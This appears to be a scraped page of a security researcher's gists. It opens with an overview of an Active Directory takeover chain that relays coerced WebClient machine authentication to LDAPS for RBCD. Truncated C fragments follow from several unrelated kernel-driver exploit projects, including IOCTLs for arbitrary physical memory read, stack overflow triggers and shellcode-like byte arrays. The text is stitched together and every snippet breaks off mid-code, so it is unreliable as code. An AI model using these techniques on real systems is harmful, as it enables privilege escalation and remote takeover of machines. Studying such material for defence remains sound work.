alfarom256 alfarom256

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

	#include <Windows.h>
	#include <stdio.h>

	const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
	const char* strDeviceName = R"(\\.\IMFForceDelete123)";

	int main() {
	DWORD dwReturnVal = 0;
	DWORD dwBytesReturned = 0;
	BOOL bRes = FALSE;

	#include <Windows.h>
	#include <winternl.h>
	#include <stdio.h>

	#define WORKER_FACTORY_FULL_ACCESS 0xf00ff

	// https://github.com/winsiderss/systeminformer/blob/17fb2e0048f062a04394c4ccd615b611e6ffd45d/phnt/include/ntexapi.h#LL1096C1-L1115C52
	typedef enum _WORKERFACTORYINFOCLASS
	{
	WorkerFactoryTimeout, // LARGE_INTEGER

	#include <Windows.h>
	#include <winternl.h>
	#include <stdio.h>
	#include <DbgHelp.h>
	#include "LenovoMemoryMgr.h"

	#pragma comment(lib, "dbghelp")

	typedef NTSTATUS(WINAPI* pNtQueryVirtualMemory)(HANDLE, PVOID, DWORD, PVOID, SIZE_T, PSIZE_T);

	/*
	IOCTL 0x40002004 : Arbitrary Physical Memory Read using MmMapIoSpace
	IOCTL 0x40002008 : Close a handle of your choice! + Stack-based Buffer Overflow
	IOCTL 0x40002000 : Arbitrary RW to IO ports
	*/
	#include <Windows.h>
	#include <stdio.h>

	#define GLE( x ) { printf("%s failed with error: %d\n", x , GetLastError()); }
	#define IOCTL_TRIGGER_OVERFLOW 0x40002008

	#include <Windows.h>
	#include <stdio.h>

	#define GLE( x ) { printf("%s failed with error: %d\n", x , GetLastError()); }
	#define IOCTL_TRIGGER_OVERFLOW 0x80102040

	DWORD64 genPattern(BYTE b) {
	DWORD64 retVal = b;
	retVal \|= retVal << 8;
	retVal \|= retVal << 16;

	25AFF9D6516B1DFCFF60AE99DC7218203ECBA434FF74C310DFA00A123523621D
	image.png

	#pragma once
	#include <Windows.h>
	#include <winnt.h>
	#include <winternl.h>

	static BYTE prelude1[7]{
	0x4D, 0x8d, 0x4b, 0xf0, // lea r9, [r11-10h]
	0x45, 0x33, 0xc0 // xor r8d, r8d
	};